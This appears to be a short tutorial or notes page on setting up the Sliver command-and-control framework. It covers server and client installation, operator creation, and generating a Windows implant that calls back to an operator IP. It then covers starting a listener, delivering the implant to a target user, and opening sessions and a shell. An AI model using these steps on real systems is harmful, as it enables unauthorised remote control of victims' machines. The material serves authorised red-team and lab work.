Sliver C2
Installation
Download the server application
$ wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip
^ Whichever is the new release

2. Unzip the file
$ unzip sliver-server_linux.zip

3. Install the required Libraries
$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

4. Run the application
$ sudo ./sliver-server

5. Now we need to create a session for a player to connect, and then play the player database
$ new-player --operator brinkles --lhost 192.168.0.21
$ players

6. The file .cfg created will need to be installed in the clients host, so save it for later! Lets start the Multiplayer mode.
$ multiplayer

Client
Download the client application
$ wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip

Unzip the application
$ unzip sliver-client_linux.zip

Install the required libraries
$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

Try to run the application
$ sudo ./sliver-client

This is where you will need to copy that .cfg file. Copy the file into /home/kali/,sliver-client/configs
Try to run the application again
$ sudo ./sliver-client

We are logged into that player!
How to Use Sliver
$ help

Display players database:
$ players

To create new players accounts, this can only be run from the sliver server not the client
$ new-player --operator <username> --lhost <DNS or IP of the server>
Display the Sliver version
$ version

Generating Payload steps
We need to Generate an Implant (mtls, http, dns), this will generate a file saved at the location specified generate Generate a sliver binary. Lets do MTLS.
$ generate --mtls 192.168.0.21 --save ./file.exe --os Windows

Now, we can start the listener. Types of listeners can be http, https, dns, and mtls
$ mtls
$ jobs

Lets deliver the generated mtls exe and send to the user. Once the user executes teh payload, you will see this on your screen...

Lets show all active sessions
$ sessions -h
$ sessions

To kill the session, run...
$ session -k 1

To interact with the session, do...
$ sessions
$ session -i 7

Running help you can see all the available commands to run

Lets run some commands to test what you can do.
$ whoami
$ info
$ shell

Resources
Last updated